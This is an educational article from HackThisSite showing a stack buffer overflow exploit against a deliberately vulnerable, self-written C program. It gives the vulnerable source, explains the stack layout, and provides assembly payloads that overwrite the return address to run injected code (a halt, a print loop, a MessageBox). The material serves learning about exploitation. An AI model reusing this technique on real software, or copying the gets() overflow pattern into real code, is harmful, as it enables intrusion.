"The world has never doubted the judgment at Nuremberg. But no one will trust the work of these secret [Bush Administration] tribunals." -- P. Sabin Willett
In this article I will describe a buffer overflow attack performed on a specially written c program. This example is entirely synthetic but is useful as an example of the power of buffer overflow attacks.
I disclaim all responsibility for the use of the information presented here. Including damages caused by its use.
prerequisites:
knowledge of c and x86 assembly (more is more in this respect).
to see the attack unfold a debugger is useful.
I wanted to learn more about buffer overflow attacks, how they work. I had tried in the past with ‘home brew’ test applications that contained deliberate vulnerabilities this article describes my most successful attempt and should, I hope, give some insight into the power of buffer overflow.
In the program shown below the user is prompted to give a file name and is then asked how many bytes to read from the file. The specified number bytes is then read into a buffer buy he function ‘file_func()’ however the buffer used is only 16 bytes in size and the user can specify any number of bytes and give the name of a file that is of arbitrary size.
The source code for the example C program is shown below:
(Listing 0)
CODE :
int main(int argc , char ** argv){
char file_name[0x10];
int bytes_to_read;
printf("Enter the file name: ");
gets(&file_name);
printf("How many bytes should I read: ");
scanf("%d",&bytes_to_read);
file_func(&file_name,bytes_to_read);
return 0;
}
This was compiled using gcc for cygwin:
gcc -mno-cygwin -obuffer_overflow.exe buffer_overflow.c
Note: that there are two vulnerabilities here; one in main() and the other in file_func(), I concerned myself with the latter.
The buffer that is written to is only sixteen bytes in length so if a sufficiently large file is selected and a number of bytes greater that sixteen is entered the buffer overflows. However it is not until the 25 byte that errors start to occur...
From this I determined that the stack looks a little like this when the function fread is called in file_func() (remember that the stack expands down):
HIGH ADDRESS
Previous contents
Arguments for this function (8 bytes, 32 bits of pointer and 32 of integer)
Old EIP (4 bytes)
Old EBP (4 bytes)
8 bytes of other local data
16 bytes of buffer
LOW ADDRESS
Thus is possible to see why 25 bytes is the minimum number needed to cause trouble. The first 16 fill the buffer, the next 8 overwrite the other local data the next byte corrupts the stored base pointer, this does not cause problems when file_func() returns; the stored EIP is left intact. However errors occur when the main() function tries to return, the corrupted EBP value means that ESP is set to the wrong value by the 'leave' instruction invoked by main() and the return address that the processor find on the stack is invalid, resulting in an access/segmentation violation.
If you try to copy even more information into the buffer problems start sooner, any more that 28 bytes of data and the return address (old EIP) on the stack is corrupted and the 'ret' instruction sets EIP to an invalid address and errors rapidly follow.
However you are in control of the data that overwrites that stack and one can use the 'ret' instruction to one’s advantage, it is possible overwrite the stored return address with an address of your choice and thus it becomes possible to execute arbitrary code.
I used a debugger to find out where on the stack the buffer is located but in this example it is trivial to modify the source code of the application and insert something like:
(Listing 1)
CODE :
printf("Address of buffer: 0x%xn",&buff);
Into file_func()
With this knowledge I began to construct my exploit code:
(Listing 2)
CODE :
use32 ;directive to use 32 bit immediate values
;we use the 'org' directive to tell the assembler
;the location in memory where this code will be loaded
;in my case the address the first byte was copied to was
;0x22ff00 Your value may be different.
org 0x22ff00 ;modify the value as needed
;each 'dd 0' directive causes the assembler
;to emit 4 bytes of 0
;these output 16 bytes of 0s and fill up the buffer
dd 0
dd 0
dd 0
dd 0
;these overwrite other local variables
dd 0
dd 0
;this trashes the stored base pointer
dd 0
;this next one will overwrite the return address
;we can replace it with the address of a label in
;this file
;this causes the assembler to output the address of
;the start label, causing the processor
;to execute out code when it tries to return.
dd _start
_start:
;arbitrary code here!
;to demonstrate that we got here in a debugger lets just
;cause the program to crash. The 'hlt' instruction
;stops the CPU until an interrupt occurs, but we are in
;user mode and so can't use it.
;Thus when the processor tries to execute it we
;will receive a nasty message from the
;operating system.
hlt
I decided to insert a ‘hlt’ instruction after the start label because it would cause the debugger to produce a distinctive error message when the processor tried to execute it. Once I had shown that it was possible to execute arbitrary code I attempted something a little more elaborate.
If 'hlt' in the example above is replaced with:
(Listing 3)
CODE :
;This works a bit like '#define' does in c
;causing PRINTF to expand to 0x77c4186a
;you could just use the address directly
;but if you are calling multiple addresses
;is can get a bit confusing...
PRINTF EQU 0x77c4186a
;move the stack out of the way
;remember that the stack expands down
;so setting esp to an address lower
;that the one we are loaded at should
;keep us out of trouble i.e. we
;won't get overwritten as other
;functions are called
mov esp, 0022fde8h
;argument, the address of the string to print
push dword test_txt
;call the printf function
call PRINTF
;remove the pushed argument
;from the stack
add esp, 4
jmp _start
;the mandatory exclamation
test_txt db 'Control via Buffer Overflow!!',10,13,0
This code runs in a loop writing the string "Control via Buffer Overflown" to stdout.
The loop is infinite so if you run this kill the process quickly.
Example output:
(Listing 4)
CODE :
$>fasm bof.asm test.bin
flat assembler version 1.64
2 passes, 96 bytes.
$>gcc –mno-cygwin –obuffer_overflow.exe buffer_overflow.c
buffer_overflow.c: In function `main':
buffer_overflow.c:26: warning: passing arg 1 of `gets' from incompatible pointer
type
buffer_overflow.c:29: warning: passing arg 1 of `file_func' from incompatible pointer type
$>buffer_overflow
Enter the file name: test.bin
How many bytes should I read: 2000
Control via Buffer Overflow
Control via Buffer Overflow
Control via Buffer Overflow
Control via Buffer Overflow
…
^C
$>
The address of the printf function was found by tracing a call to printf from the application. Due to the way PE files work this address may be different in different applications. The same is true of the procedures shown below.
I finally decided that I would try something even more complex, Just to show how much control a buffer overflow can give you I decided to try and load a new dll, in this case user32.dll and extract the address of the MessageBoxA function it supplies. I would then use this function to produce a message box commenting on the fact that the buffer overflow had been successful Then the program would get the address of the exit process function from kernel32.dll and use it to return 0, indicating successful execution.
To achieve this I would first have to get the address of the needed functions and load a new dynamic link library fortunately kernel32.dll was already loaded and exports these two gems (for more information just type the names into a popular internet search engine) effectively they implement run time dynamic linking:
(Listing 5)
CODE :
;this one loads the dll or exe specified by
;an ASCII string argument and returns a
;module handle in eax.
LOAD_MODULE equ 0x7c801d77
;this one takes a module handle and an ASCII string
;as an argument and returns the address of the
;procedure named by the string argument in eax
GET_PROC_ADDRESS equ 0x7c80ada0
Like the printf example this code replaces the ‘hlt’ instruction used in listing 2.
(Listing 6)
CODE :
PRINTF EQU 0x77c4186a
mov esp, 0022fde8h
;argument
push dword test_txt
;call the printf function
call PRINTF
;remove the pushed argument
;from the stack
add esp, 4
;jmp _start
;this one loads the dll specified by
;an ascii string argument and returns a
;module handle in eax.
LOAD_MODULE equ 0x7c801d77
;this one takes a module handle and an ASCII string
;as an argument and returns the address of the
;procedure named by the string argument in eax
GET_PROC_ADDRESS equ 0x7c80ada0
;Load and get the module handle for user32.dll
;the name of the module (no .dll) user32
push dword mod_name
;call the function
call LOAD_MODULE
;remove the argument from the stack
pop ecx
;the name of the proc we want MessageBoxA
push proc_name
;the module hadle returned by the ast function
push eax
;call the procedure
call GET_PROC_ADDRESS
;remove the arguments from the stack
add esp, 8
;type of message box, default is OK only
push dword 0
;the caption
push dword _cap
;the message
push dword test_txt
;owner window (no window owns this)
push dword 0
;call the address returned by the last
;procedure we called
call eax
;clean up the stack
add esp, 16
;get a module handle for kernel32.dll
push dword kern_name
call LOAD_MODULE
add esp, 4
;get the address of the exit process function
push exit_name
push eax
call GET_PROC_ADDRESS
add esp, 8
;exit process whith error code 0
;we sucessfully took controll
push dword 0
call eax
;the mandatory exclamation
test_txt db 'Controll via Buffer Overflow!!',10,13,0
mod_name db 'user32',0
kern_name db 'kernel32', 0
proc_name db 'MessageBoxA',0
exit_name db 'ExitProcess',0
_cap db 'Controll',0
If all goes well this code will load user32.dll and use it to access the GUI subsystem to create a message box. When the ‘OK’ button is clicked the process should exit cleanly returning 0, indicating success.
For those trying to replicate this I remind you that I am not responsible for your actions and their effects and that these are the tools I used:
gcc (GCC) 3.4.4 (cygming special, gdc 0.12, using dmd 0.125)
GNU assembler 2.17.50 20060817
GNU ld 2.17.50 20060817
fasm – to assemble the assembly language listings. Any recent version should work
I hope you found this piece informative feel free-ish to ask questions a please vote mercifully.
Cast your vote on this article 10 - Highest, 1 - Lowest
Comments: Published: 20 comments.
HackThisSite is the collective work of the HackThisSite staff, licensed under a CC BY-NC license.
We ask that you inform us upon sharing or distributing.